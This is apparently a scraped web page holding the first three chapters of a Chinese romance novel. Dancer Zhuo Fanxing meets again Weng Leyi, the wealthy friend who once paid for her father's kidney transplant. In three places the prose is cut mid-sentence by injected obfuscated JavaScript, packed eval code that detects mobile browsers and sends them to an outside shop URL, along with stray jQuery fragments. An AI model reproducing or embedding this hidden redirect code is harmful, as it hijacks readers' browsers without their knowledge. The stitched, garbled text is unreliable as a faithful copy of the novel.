《繁星[暗恋]》 1. 第 1 章 “我前段时间在Y城碰见个人。你们猜是谁?” “谁?你哪个犄角旮旯里冒出来的小情人?”陈跃吐了口烟,随口应付刘清华。 窗外头,天井里还坐了不老少人。刘清华这处酒吧是新张罗的,老四合院翻修,外面瞧着青砖灰瓦,内有乾坤。每日生意火爆,常有网红名媛聚集。 他睨过去几个穿着紧身裙,身材婀娜的姑娘,长发落在腰上,扭着身子恨不能打出一个结来。拍照的姑娘发现了,几个女孩子瞬间转过头来。嘿,一水儿的网红妆。 二层的位置今不许外人随意上来,他长得一派风流,几个姑娘并不排斥,挥手娇俏地喊了声:“hi。” 陈跃笑起来,抬了抬捻香烟的手。 “又撩妹呢,你能不能不发-骚,几杯酒下去就和那开屏的孔雀似的。”刘清华看见了,翻了个白眼。“我刚说话呢,你听没?” “要说就说。”他不信他能说出个花儿来。 “你这孙子,问问要你命啊。” 孙邈乐了,问:“谁啊?男的女的?” “女的。” “我们认识的,谁在Y城啊?”孙邈脑子转了一圈,没想出来。“谁啊?” “姚家那个。” “姚灵均?”陈跃眯了下眼睛,叼着烟声音含含糊糊的。 “不是,她表姐。” “......卓什么?”孙邈费劲巴拉地才在脑子里翻出一点记忆。陈跃皱着眉,把烟拿了。“卓繁星?!” “昂。”刘清华怪样子地歪了下头。 “你可真能耐。”陈跃笑了一声,突然抬高音量对球桌那边喊:“嘿,凌洲,清子说碰见卓繁星了。” 蒋凌洲偏了下头,刘清华一下坐直,酒醒了大半。 “陈跃你瞎喊什么呢?”球桌边观战的李敬气的吼他,这局他可是赌了辆新车,眼看蒋凌洲就要赢了,他一嗓子,球没进。 蒋凌洲拎着球杆,看着刘清华:“哪儿见到的?” “就Y城那儿新开发的一地方,我过去办事正好撞见,像是在一舞蹈工作室教人跳舞。”不至于吧,刘清华想。多少年的老黄历了,搁蒋凌洲身上那是早八百年前的事了。他老人家在国外这些年,没少谈对象。 “你没事跑舞蹈工作室?” 陈跃还要在后头拱火,刘清华一下跳起来勾住他脖子往下拽。“你丫今天话是真多,我见了她在广场上发传单不行?外面衣服上印的,不是在那儿工作那是干嘛?闲的慌。” 趴在沙发边上小伯以为他们在玩儿,急着要加入,前爪抬起,一跳一跳的。 “coco,你踩着我脚了。”刘清华一呲溜,把毯子上的球踢了出去。coco追到球桌边上,叼着球也不回去,一屁股坐在蒋凌洲跟前,仰着脑袋只管盯着他看,喉咙里呼哧呼哧的响。 “他不理你?”翁乐仪揉了揉它脑袋,夸道:“好姑娘。” 刚好酒吧后厨的糖炒栗子做好了。这是翁乐仪点名要吃的,后厨主厨是西班牙人,一头雾水,好在有几个中国人,虽然觉得要求奇葩,想吃糖炒栗子街上不就好了,到底是想法子做了出来。翁乐仪头先说想叫他们在二楼支个锅,他见那些摊子上都是用铁砂炒出来的。 陈跃听了喷笑,刘清华连叫两声哥,“你真是我哥。我这地方叫你看做菜市场了。” 翁乐仪一点不在乎,还建议道:“你不妨试试,说不定还叫人觉得有趣。” 栗子的香味混着焦糖的香气,他剥了第一颗先给了CoCo。厨师还另作了一只栗子奶油蛋糕,他尝了一口,配着白葡萄酒,非常不错。 刘清华坐过来靠了靠,翁乐仪顺着他视线看过去,蒋凌州还站在台球桌边上喝着酒。 “凌州,过来坐会儿。”他摸着狗头,不甚在意。 刘清华说:“要不要换个酒试试,我这里新来了一个调酒师。” 翁乐仪摇头说不必,“我这杯喝完就算不错了。”顿了顿道:“你可以给我的司机送一杯去。” “啥?”刘清华无语。“你司机喝酒怎么开车。” 翁乐仪小愣一下。“我可以自己回去。” “得,你可拉倒吧。翁爷爷为啥给你找个司机,不就是不放心,你倒好。司机人家有工作在,还叫人家喝酒,真有你的。” 陈跃笑喷。“你不是知道他就不想叫司机跟着。这不没办法。”揽着翁乐仪。“得,我给你送回去。叫你司机喝酒去。” 翁乐仪腿不好,先前出了车祸,人倒霉,左腿落了残疾,出行常要伴一根拐杖。其实按他这伤自己开车是可以的,可家里大人不放心,特地寻了个司机来。 这时酒吧经理跑过来,说楼下有人想见一见刘总。 刘清华看着递过来的名片,挑剔道:“不是说了今天有客人在,不叫人打扰。” “是几个漂亮姑娘。”经理讲,要按往常老板的性子,人是要叫放进来的。 刘清华切了一声,想到什么,去了窗边扫了一眼,回来把名片拍到陈跃身上。“你惹出来的风流债。” 陈跃莫名其妙,可略一想就明白了。 这地方常有网红出没,刘清华这个做老板的也有些名气,猫闻着腥味儿就来了,只是怕不多正经。他弹着手头名片,香味扑鼻,印的半拉唇印欲拒还迎。 翁乐仪挑了一张爵士唱片放到唱片机里,轻快雅痞的旋律响起,适时的屋里的灯也跟着暗下来。 几个人坐在一起聊了聊最近的新鲜事儿,后来又转到蒋凌洲投的电影上。前段时间在电影节上拿了奖,最近上映口碑票房双丰收。 路演的时候导演倪玉城一把鼻涕一把泪,每场不落要把拉投资的心酸事翻出来讲,后面不忘感谢好友。哦不,在他嘴巴里那是挚友——神秘的蒋总。 陈跃提起来就乐。“那倪玉城现在外面说起来都是你雪中送炭。你说你投的时候怎么不拉着我一道。” “电影上映了?”蒋凌洲早把倪玉城忘天边去了。“那钱不多,只是没人投。”他是因为早几年有过些交情,顺手帮了一把。 “你可真够凡尔赛的。也是,跟蒋总经手的生意比,这点钱也就撒撒水啦。”最后两句用了粤语,听起来怪腔怪调的。 陈跃说者无意,刘清华听着倒是酸溜溜的。 蒋家本就势大,要不是长辈压着要低调,外行不清楚,他们这些圈子里的人会不知道?说起蒋凌洲在国外这些年的经营,同辈里面哪个都比不上。现在回国来,手上不知多少资源。他老子交代了,别傻乎乎的,什么娘想儿子了,现在国内发展这么快,老蒋聪明着呢。 刘清华叼了支烟正要点,耳边突然凑过来一声。“她怎么样?” 刘清华以为自己酒喝多了幻听,扭过头,蒋凌洲重复了一遍:“卓繁星,她怎么样?” 刘清华没看出什么。他想了想那天见到的人,比以前瘦了很多,倒越发漂亮了。他先是见了个背影,就忍不住多看两眼。要是不认识的,指定得追一追。 他十几岁的时候也不是没幻想过,干的事吧现下想起来挺过分。柿子挑软的捏,他没少针对她。 可里头多少是为许筠,多少是恼羞成怒,自己心里门清。 他不动声色琢磨了下蒋凌洲的意思——这是还惦记,还没过去? 嘿,他蒋凌洲也有今天。 他心里暗暗笑了两声,压着声儿道:“就还行吧,挺瘦,精神还不错。” 他等着他再问,就见着视线里的人嗯了一声,转了圈酒杯喝下一口,刚巧来了电话,他翻出手机来,走一边儿去了,回来之后就跟没问过似的。 翁乐仪身体不好,早早要回,临出门蒋凌洲送他,两人站在外面,简单说了老太太过寿的事。 老人家八十大寿,要大办。他们两个一个孙子一个外孙,正好尽尽孝心。 两三句话后,翁乐仪拍了拍他的肩膀:“少喝点。” 蒋凌洲抽了根烟叼着,没点,下巴朝外头抬了抬:“知道了,你回吧。” 过了几天,翁乐仪托人打听的事有了眉目,说是苍头山那块儿有户人家家里有只鼻烟壶,康熙时候的老物件儿。 这事儿早俩月就在打听,老太太稀罕这些东西,他就打算给她作寿礼。可人不愿意卖,说来说去就是不松口,刚巧他在Y城有点事儿,就亲自跑了一趟。 地方在苍头山下的镇子,附近是渔港,最近几年地方政府搞旅游业,这镇子因为有座明朝的老牌坊和几条老街,老房子没拆成反而圈起来成了个景点。 翁乐仪的车子开不进去,小王把车停了去买票,回来直喊贵,一张成人票要一百八,比故宫还贵。 “看这屋子墙白的,一瞧就是刚建的。” “旧的不像样。”翁乐仪走在前头:“人来玩儿总要吃的舒坦、住的舒坦。” 刚下过雨,巷子里头的砖路带着水渍,亮堂堂的,不是周末节假,路上人少,长长一条小路上没几个行人。 路边商家卖的东西都大同小异,店家没瞧见几个,反倒弄了个大喇叭在喊苍头山特产。 “你说都新的,我看这路就挺旧的,有些年头了。”翁乐仪的手杖敲着地砖,砖石间莹莹绿意,中和了砖石因年岁而生的幽幽冷意。 七绕八绕,又问了好几个人,才找到苍头镇七十八号的吴家老宅。 这屋子一瞧就有些年岁,门外头挂了块铜牌,写着“Y城文物保护单位吴氏老宅”,一九八零年立的。 “说是还做客栈生意。”翁乐仪走上石阶,门槛到小腿的一半,门后摆了张旧木桌,后头躺椅上睡了个人,脸在阴影里,看不清楚。 他扣了扣门。 “门票5块,住宿不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听说是祖上传下来的,吴家当年出过进士,当过大官,御赐的东西,吴老爷当家传宝,打算一直往下传的。” 这事翁乐仪知道,他问:“这儿就他一人住?还是吴家都住这儿。” 卓强摆手:“吴老太太早几年就没了,现在就吴老爷一个人住,他有一个儿子一个女儿,女儿移民嫁到国外去了,儿子在市中心当什么部门的主任,也就过年放假带儿子老婆回来看看。” 卓强有意帮他,话就说多了些:“吴老爷不差钱,就这院子,当时有个香港来的有钱人要买,出了一个亿,他都不肯。两年前摔了一跤,他儿子好几次要来接他去市里,他也不干。” 小王就问了:“那怎么还收门票钱?” 卓强说:“就是来的人太多了,之前没收钱,结果一放假尤其到了十一,乌泱泱的挤一堆,有人还爬那假山上去拍照,再说还有人住这里,总是要安静点的好。” 小王连连点头:“是是,我跟我老婆有一年十一出去,就是看人了,咱们国家就是人多。” 卓强:“就是这样说,吴老爷心地好,之前渔港那地方有个小学就是他资助的。” 翁乐仪明白他的意思,这就不是钱的事儿了,来前他心里大概也有数,只是那只鼻烟壶样式独特,绘的图案也很有些意趣。老太太见多识广,寻常东西入不了她的眼,八十大寿就想给她准备个惊喜,总归来都来了,试试看呗。 绕过假山,当中一间屋子开了三道门,他们三人一进去就看见一小姑娘缩在柜台后面看韩剧。 卓强问她:“莹莹,王妈呢?” “晒被子去了,刚下雨不是都收进去了,现在太阳出来了就又抱出来了。” 莹莹嘴巴里塞了根棒棒糖,随意一抬头,本来嘴巴鼓一下缩一下,突然就不动了。乖乖,她就没见过那么帅的男人。 她把棒棒糖拿了往后一藏,从椅子上站起来:“住房吗?” “不住,是找吴老爷有事。”卓强对翁乐仪说:“小翁,你们要不在这里等等,我去找王妈过来,她是吴老爷的保姆,让她上去问问。” 翁乐仪:“一道去吧,我顺便逛逛这院子。” 卓强:“也行。” 他们三个出了门,莹莹还没缓过神来,眼巴巴地目送。衬衫西裤,宽肩长腿,跟韩剧里那男主角似的,刚刚卓叔叫人什么,小翁?也不知道哪里认识的这号人物。 她拿手机拍了个背影,微信上打字如飞。 卓强走的不快,三人上了回廊,过了垂花门,太阳当空,刚下雨散掉的热气又全冒了上来。 院子里晾着的床单随着微风轻轻飘动,一个纤细的身影站在下面,短发白裙。 卓强喊道:“灿灿。” 她转过头来,清泠泠一双眼正对上翁乐仪的眼睛。 2. 第 2 章 卓繁星早上起来就觉得不对劲。 她昨天梦见许筠了。 多少年都没有过。 练舞房里,“刘清华他们去瑞士滑雪了,要不是有比赛,我也想去。”许筠转过头,下巴撑在膝盖上,不知道是不是逆着光的缘故,脸看不清。“哎,等比赛结束了,咱们两个去吧,不然又要开学了。” 她唯唯诺诺。“我家里不一定肯。” “我叫我妈去讲,就是姚灵均,我不太想和她一起去。” “那估计不行。”繁星感觉自己的声音轻飘飘的,和被空调吹皱的白纱帘一样,反驳的毫无力气。她有点想去瑞士滑雪,她还没去过。只是即便灵均去,舅妈也不一定肯吧。这费用不小。灵均这时候倒成了个体面的拒绝理由,不显得姚家寒酸。 她在梦里都感觉自己舒了口气。 “哎。”许筠长叹一口气,往她边上一躺。“她扫兴的很。” 卓繁星有些笨拙地想安慰她。 “这次你先去,下次我们再一起去。” “那等寒假,我们一起去日本,那儿冬天也好玩。看刘清华他们去不去,我们和他们一起更有意思。” 寒假?那还远呢。 卓繁星笑了笑,应道好。 空调风扇的声音越发清晰,小声轰鸣着,压过窗外厉害的蝉鸣。 真是个喧嚣的夏天。 “等会结束去吃沙冰吧,我妈给了我卡,说一个阿姨开的,就在星海商场里面。” 卓繁星还没来得及答应就先一步醒了过来。 她坐在床上琢磨了一下这个梦,心里有种钝钝的难受,得做点什么才舒服。她打开某宝,把纠结了一周的娃衣买了,又下单了两家手作面包店的甜品,心里才好受点。 你可以说她有些大惊小怪,可多年的经验告诉她,自己的第六感强的可怕。 不过卓繁星在做小巴回乡下的路上,还是开始怀疑自己。她翻出手机来,幸好甜品还没发货,左思右想退了一家。退款一操作好就赶紧锁屏看窗外。车里的味道一点也不好,机油味混在空调风里,好险没叫她把早饭吐出来。 “灿灿,你看谁来了?” 卓强的声音像是从很远的地方传来,卓繁星捏着床单。 “王妈呢?” “刚去厨房了,我去叫她。” 卓强和程霞的声音都从耳朵边飘过去。翁乐仪也是愣了下,道:“真巧,好久不见。” 卓繁星点头嗯了一声,人都是木的,视线往下低了半寸,落在他身旁的手杖上——纯黑色的,看着很轻便,有些登山杖的感觉。她听灵均讲过,他在国外的时候出的事,左小腿截肢。她到现在都记得听见这个消息的时候,耳朵嗡鸣的声音。 灵均还在手机那头感慨:“也不知道怎么就那么倒霉。他们几个同学一起去的,其他人都是轻伤,就他最严重。听说车子翻的时候,他被甩出去了,刚好树枝插进去。” “翁先生是来找吴老爷收东西的。”卓强在边上解释。“要不说巧呢,还能在Y城这么偏的地方碰见。当年我那病多亏了翁先生,灿灿,得多谢谢人家。其实她也经常讲起。”他是真高兴,在翁乐仪那儿说一句,便要拉扯着卓繁星说一句,生怕不够真切,叫翁乐仪不明白他的诚心。 “你们也是好多年没见了吧,算起来有五六年了。” 翁乐仪点头。“有六年了。” “是,对,就是六年。时间过得快,这一晃就六年了。” 卓繁星嘴巴发干。卓强问他:“你这腿,是崴了?” “之前出了点事。”翁乐仪不太在意地解释,程霞这时把王妈找来了,他还没来得及说完,便被打断了。 吴老爷让王妈把人领到书房去,她给人领去了,送完茶再回来,卓强回了前头,院子里就程霞和卓繁星在忙。 她看了卓繁星几眼,见程霞进到洗衣房就跟了过去。 她凑上去打听:“听老卓说是认识的?” 程霞说:“不怎么熟,是灿灿妈妈那儿的关系,之前老卓生病,他帮了忙。” 她说的是实话,卓繁星的舅妈是蒋家老太太认的干女儿,繁星到了她妈妈那儿,初一去了北京,那翁先生和她一样年纪,一起读的书,勉勉强强算是半个发小吧。 王妈试探道:“还没见过这么出挑的后生,跟你们灿灿配的很,怎么不处朋友?” 程霞听了忙说:“什么处朋友?就是认识,几年都碰不见的,也不是普通人家。” 这话听着倒实诚,那人一瞧就不是什么普通人,通身的气派,听说是京城来的,跟这打工的卓家实在凑不到一起去。 王妈心里稍安,嘴上却说:“哎真是可惜了,不过我看他腿好像不大方便。” 老宅子里的木楼梯窄的很,她刚才在上头领路就瞧见翁乐仪走的不大顺当,还是跟着的人搭把手才上去的。 程霞点点头:“可不是吗,上次见还是好好的,也不知道是出了什么事。”她看了一眼院里的卓繁星。 王妈本来也没多关心翁乐仪,她是为她那外甥来的。 她外甥在Y城医院当医生,也老大不小了,工作忙没时间处对象,要求还高,她妹妹一直愁的很,前段时间到她这来拿东西,看见卓繁星,一眼就相中了,磨来磨去,跟她好一通打听,后来还偷偷拍了照片拿去给她儿子看,结果铁树开花,原先多矜持的人,现在都来催了。 她跟程霞透了点意思,程霞当时没应,说是回去和卓强商量,这一晃都快一个礼拜了,还没个准信。 她帮她把洗衣机里搅干的被单给拉出来放桶里,冷不丁就问:“小霞啊,我那天跟你说的事你跟老卓回去商量了没?” 程霞啊了一声,一时没反应过来。 王妈哎呦道:“你忘了?就我外甥跟灿灿,两个年轻人认识认识。” 程霞低了头赶紧说:“说了说了。” 她正为这事儿烦,前两天都不太想跟她照面。 她那天回去跟卓强说,卓强头先是开心,可灿灿是什么情况他俩都知道。不说她身体,就是京城姚家那儿……她知道卓强心里还存着灿灿能回去的心思,可是她看着悬。 再说眼下他们两个在吴家打工,跟王妈抬头不见低头见的,别看王妈就是个保姆,可她身家真不少,她那妹妹来了几次,瞧着也不是缺钱的人家。她就劝着卓强跟灿灿提,她毕竟不是亲妈,跟这孩子不亲,可卓强之后没话了,她就估计灿灿是不愿意的。 程霞搪塞道:“这事我早就跟老卓说了,我回去问问他。” 王妈直说:“你直接问灿灿就行,又不是马上结婚,不说一定要谈朋友,年轻人多个朋友多条路,这都什么年代了,灿灿是女孩子面皮薄,回头我让我外甥加她。”她把桶里的被单压严实了:“就这么定了,你跟灿灿说一声,我回书房看看去。”一通话说的跟倒豆子似的,根本没给程霞拒绝的机会。 程霞心里烦,抹了把脸上的汗。她跟灿灿说一声?她凭什么啊?灿灿这孩子看着软,心里主意大着呢,这事她劝劝行,要真往上使力是没必要,不然挤在中间不上不下,不得难受死了,到时候吃力还不讨好,她图什么呐。 外头太阳燥的慌,晒得地上白晃晃一片,她拎着桶出去,把卓繁星喊了进来:“灿灿差不多了,你去歇着吧。” 繁星进屋后就去了卫生间。 她不在这儿住,没有房间,用手洗完脸,拿纸巾擦干,边往外走边掏出手机看时间。 两点多 往常再过半个小时她就得回去了,不是节假日,游客少,回城的公交车也少,到四点就没车了。 微信工作群里发了十月课表。助教潘潘提醒她有两个学生家长想约私教课,问她什么时候有空。 她和潘潘确认好时间,退出去,点开莹莹的兔子头,就见到她偷拍的照片。 翁乐仪就露了个背影,脸有一小半,是出门的时候低头躲门框侧了下脑袋。她把照片放大,屏幕上挺直的鼻梁一眼就把人吸过去。繁星记得头一次见他就觉得他的骨相出奇立体,后来才知道他奶奶有一半斯拉夫人的血统。因为低着头,眼睛半阖,侧面看过去睫毛很长,随手一拍的照片都和电影镜头一样。照片下头跟着三条语音,是打听他的。 程霞晒完被单回来,拿了一袋毛豆荚。 两人坐在小方木桌跟前剥毛豆,她问她:“国庆回来住吗?” 卓繁星摇头说不回了,国庆游客多,挤得很,而且工作室那边最近在拓展新业务,趁着节假日要搞活动,估计走不开。 程霞说了两句注意身体,免不了讲到翁乐仪。 “还真是巧了,怎么在这儿都能遇见。他腿怎么出的事儿?” “车祸。” “车祸?!”程霞声音高了点,接着长叹一口气。“真是可惜了,他人那么好。”随后又讲:“不过还好,他家里条件摆在那儿,有人照顾,也吃不了什么苦。就是年纪轻轻的,拄拐杖。不知道结婚了没?” 卓繁星手顿了下,程霞接过来。“我来做就成,你没指甲。歇会儿,冰箱里有西瓜,你去拿来吃。要不要我给你拿个勺子舀?” 她想着刚才王妈的话,目光落在她洗手的背影上。谁见了她不说漂亮。爹妈都生的好,别看老卓现在黑了老了,放在一样年纪的人里都不难看。当时第一次见她还是在学校里,小姑娘素着张脸,出水芙蓉一样,头发又黑又长和缎子似的。 其实王姐家外甥真不错,要是成了,她也是享福的,不至于一个小姑娘在外面冷冷清清的。 “灿灿。”才起了头,纱帘被撩开,卓强一身汗的进来。“我给你打电话你怎么不接?”手里拎着几个盒子,都是镇上的特产。 程霞叫他说的一愣。“啥事儿啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067306|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我手机呢。”围裙袋是空的,她哟了一声:“估计放院子里了。” 卓强拉着她。“先别管了,前面没人,你早晨做的糕呢,包好了给我。” 程霞应的快,冲了下手就去厨房拿。她回来的快,屋里就卓繁星一个人。“你爸呢?” “他急着回前头。” “那我给他送过去。” 她年轻时候嫁在苏州,做的一手好点心。圆盘一样,金黄色的糕点上排了一圈红枣,用保鲜膜裹严实,就是装的随意了点。她不大满意,好不容易找了个像样点的手提袋搁。 “当年多亏了翁先生,我脑子笨,差点就失礼了,还好你爸记着。” 这时候王妈从书房添茶回来到了他们这屋,见了她手上的东西,呦一声。“灿灿要走了?” “还没呢,是我家老卓,叫我拿给翁先生的。人走了?” “还没呢,有的等。”王妈抹了一把汗,坐到电风扇前面。 “真是文化人碰上文化人,两个人聊园子里的楹联都能聊出花来。我就没见过老爷子话这么多的时候。” 繁星耳朵支着,嘴角抿出个笑来。 吴老爷是个风雅人,最珍爱的就是这园子,翁乐仪为了那只鼻烟壶自然要投其所好。 还别说,园子从外头进来,祖屋、堂屋、还有吴老爷的书房,里里外外的楹联真不少。祖屋里的都是些勤俭治家、孝悌规矩之类的,堂屋里的更喜庆,什么堂上旭日、阶前春风,不过总的来说还是吴老爷书房里的更雅致。 翁乐仪的外祖母秦老太太是出了名的才女,学识渊博,在金石篆刻上很有些造诣,蒋家的书画字帖,印章古籍收藏颇丰。翁乐仪从小受她教导的,在这上头自然很有些墨水。 她记得第一次见他就是在蒋家,他正在蒋家练字,过年的时候她跟着舅舅家去拜年,老太太屋外那副四季平安的春联就是他写的。 程霞听她这样说也不急着过去,坐下来把塑料袋里的毛豆荚捋出来又开始剥。 王妈闲不住跟着一道帮忙,闲话扯两句又落在繁星身上。 “灿灿乖的很,我见着就喜欢,现在外头那些小姑娘有几个肯乖乖帮家里干活的。老卓这个女儿是叫他生着了,又漂亮又懂事。在城里好多男孩子追吧,谈对象了没?” 卓繁星不习惯这样亲热,她不常来吴家,同王妈更不熟悉,敷衍道:“工作忙。” “现在年轻人都这样,压力大。我外甥也是,他在医院里上班,也是忙的脚不沾地的,谈对象都没空的呀。哎,也不好这样说,主要还是没碰见欢喜的,不然时间么挤挤总是有的。一个人么只能拼事业了呀。” 程霞是不好叫她自己唱独角戏的,配合道:“医生好,越老越吃香。你外甥优秀,还是Y城医院的,现在大医院都不好进。” “就是呀,非得博士不可。他脑子灵光的,从小读书就厉害,当年高考是我们市里前五十名,上报纸的。一毕业医院里面抢着要,厉害的不得了。” 程霞对繁星讲:“上次我做胃肠镜,要预约排队,我都搞不懂,多亏了这个小伙子,还给我安排了床位,住了一个晚上就做掉了。” 繁星从手机里抬头,嗯了一声,“那是要谢谢人家。你之前做胃肠镜了?结果怎么样?下次要预约什么的跟我讲一声,我来弄。” 王妈爽气地摆手。“啊呀,就是一个电话的事。他人心好,有礼貌有耐心,你程阿姨是我好姐妹么,就叫他帮个忙,小意思的呀。” 卓繁星总是应对不来这样的亲热,脸上挂上礼貌的笑,追问程霞结果,自然是没什么问题的。她放了心,心里挂着的还是翁乐仪的事。 早几年卓强动手术的钱,还是翁乐仪垫的。 卓强是肾脏手术,卓繁星换了肾给,花的钱实在不少。 那时候繁星刚毕业,卓强又是一穷二白,自己连社保都断的。要不是翁乐仪帮忙,卓强的手术不知道什么时候才能做。更别提做手术请的专家,养病的病房,之后修养的钱。 卓繁星头先根本顾不上还钱,翁乐仪已经飞往德国求学。后来等她缓过劲,已联系不上他。 微信发出去的钱超时被退回,消息石沉大海,没多久便收到他出事的消息。 他的朋友圈从未更新过,卓繁星想他大概率是换了微信。 后来除了工作室的工作,还有老板介绍的私活,卓强的病也稳定下来,她用的俭省一点能存下点钱。日积月累,已经有近十万。 她原先不知道怎么把钱还回去,如今碰上了,倒是方便了。 即便这钱对他而言不过是毛毛雨,或许他都不记得了。 院子里的床单被风吹来荡去,像她此刻的心情,她看的久了,随着床单落下,绕在怀里那股名叫雀跃的心情也落了下去。 她起身去拿衣架上挂的包,对程霞说:“时间差不多了,我先回了。” 3. 第 3 章 卓繁星的钱老老实实存在zfb里,顶多放余额宝里拿点利息,其他的基金股票一概不碰。 她不能丢张卡给翁乐仪,显得自己有多大款一样,更怕他把这点钱忘了,回头卡丟在一边。思来想去,把钱转出来,到附近银行取了现金。 她把钱给卓强的时候叮嘱:“不用和程阿姨讲。” 卓强脸色又难看了一点,刚才她说要取钱,两人就闹了不开心。不是他不想还钱,只是不想让她一个人出。他自己多多少少存了些,能帮衬点。 “这钱本来就该爸爸还,就当爸爸借你的,她明白的。我这里几万块钱你先拿去。” 又要老生常谈,卓繁星不耐烦看他,插着口袋,身子转向门口。 “不用了,我走了。” 那头,吴老爷不肯松口,给了一盒茶叶,一盆花儿。翁乐仪在Y城还有工作,拿不到鼻烟壶也在预料之中。实在不行,港城那边还有一场拍卖会。 他告辞出来。王妈将人送到门口,卓强把准备好的礼盒还有钱递过去。 王妈说:“老卓,你这么客气啊,这么多东西。” 卓强笑两声,叫她帮忙站一会儿,自己送着人出去。 “行,你去吧。东西那么多,确实不好拿。”那翁先生的腿脚也不好,这一路走到外面去,不知要多吃力。 卓强把自己的老头乐开到门口,勉勉强强能塞下三个人。门一打开,叫翁乐仪坐上去的时候,他有些臊。副驾驶先往前挪,叫小王爬进去坐在后头。翁乐仪再上去,怀里捧着吴老爷送的菊花,膝盖都快顶到胸口。 卓强这才注意到他那条腿,裤子提起来露了半截,刚好叫他看见。 他愣了愣。 一路颠簸过了石板路,到了外面的停车场。 他把东西都给放好。翁乐仪没上车,站在车门边跟他道谢。 卓强抹了把脸上的汗,脸上有着这个年纪乡下人的羞涩淳朴。“翁先生太客气了,你当年是救了我一条命。以前碰不着你,也不知道去哪儿联系你。我们全家心里都记着你的恩情。这几年我身体好起来了,灿灿工作也稳定,当年手术你给垫的钱一定要还你的。我给放在糕点袋子里,这钱你千万收着,我知道对你来说不多,但是我们不能白拿。” 翁乐仪的眉梢轻轻挑了下,张了张口只是问:“卓繁星在这儿工作?” “不是,她在城里,教人跳舞,有时候能单独带带学生。哎,也是叫我拖累的。她大学好,舞也跳的好,本来有更好的前程......”他内心愧疚,想到刚才的争吵。他该受着,别人家都是帮衬孩子,到了他这儿,只有给她罪受。 他在她面前一辈子抬不起头。 翁乐仪没再问,点了点头,告辞离开。 …… 卓繁星坐城乡小巴到了市区,然后又上了公交车。城里的地铁是最近几年刚建的,一号线运行没多久,二号线还在造,她住的小区附近虽然有地铁站,但小巴到的地方没有,所以她还得转一趟车。 车子到了Y城实验中学,上来几个学生,其中一个女生坐到她边上,等车子启动,一个男生过来拜托她换个位置。 他叫她姐姐,见她看过来有点窘迫,摸了摸脑袋。 她到他们后面坐下,抬头就见那男生把女生耳朵里的耳机拔下来塞到自己耳朵里,女生打了他一下,想把耳机抢回来又没成功,气的偏过头看着窗外。 夕阳的余晖穿过玻璃窗在女孩的长发上跳跃,又落到她蓝白色的校服上。这场景叫她想起多年前还读书的时候,经常会和翁乐仪坐同一班车。主要是在冬天,其他时候他更爱骑车。 他经常扶着栏杆站着,个子太高,垂下的耳机线在胸口一荡一荡。后来好奇他听的是什么,喜欢什么歌。学校元旦晚会的时候,见过他吹萨克斯,秦奶奶讲起来,他还会吉他、小号,她这个外孙喜欢爵士,在音乐上面的天赋像他妈妈。 他早她三站下车,看着他跑过马路,厚重的羽绒服也架不住他身高腿长,风把他的头发吹乱,有人叫他,他侧过脸来,脸上的笑闪闪发亮。 包上的手机振动,是卓强的语音消息。 “灿灿,我把钱给他了,你别生爸爸气。到家了说一声。最近天要冷了,衣服多穿点,工作别太累。” 车子驶过大桥,知道了三个字发出去,繁星叫自己别再想了。今天就做的很好,钱还了,谢也道了,以后不会再见面了。 只是还是难受,一颗心沉甸甸的,好像泡了水的棉花,一路滑下去,又重又湿,呼吸都不顺畅。地铁站里出来就钻进了便利店,碰上会员日,冰淇淋大福买二送一,等她冷静下来,桌子上只剩包装袋了。 也不知道什么时候养成的习惯,读书的时候就这样,压力一大就要暴食。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067307|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是自从给卓强换肾之后,她就格外惜命,这样的事很久没做过了。 包装袋被折成小小的方块,玻璃窗外的天已经黑了,行色匆匆的路人不断从地铁口出来进去。 卓繁星觉得自己好像在一个玻璃球中,外面的世界才是真实的,而她其实是个玩偶,扮演着便利店客人的形象。 没有人知道她其实是活的,有思想。 好像灵魂被抽走关在了一个叫卓繁星的躯壳里。 这个玩偶正因为碰见许久未见的暗恋对象而黯然神伤。 连吃了三个冰淇淋大福。 哎,她把它丢在便利店里,汇入人潮中。现实的卓繁星考虑的东西可多着呐。现在债已经还了,接下来的钱可以存下来考虑买房的事宜。前几年Y城房价是高位,今年开始降温,首付比例都已经降低。她存几年,买一套四五十平米的公寓还是可以期盼的。 回到租房,打开门就见室友邵丽丽捂着肚子站在里面。她身上穿着睡衣,手上是个热水袋,脸色惨白,嘴唇都是灰的。 “你怎么了?姨妈疼吗?” 邵丽丽抱怨了句,声音很轻,往卫生间走,卓繁星想了想走到楼梯上,从屋里抽屉翻了年初用剩下的暖宝宝。 她端着煮好的姜茶敲她房门,邵丽丽明显愣了下。 卓繁星今年夏天才住进来,因为舞蹈社搬到了新开的商圈附近,原先住的地方就不方便了,所以才搬的家。邵丽丽是个平面模特,工作性质不太稳定,有时候一早就跑没影了,有时候睡到下午,而且一个月有十来天不住这儿,所以经常见不着面,回到家关了房门,各管各事,疏冷的很。 “我这儿还有暖宝宝,你贴肚子上会好点。” 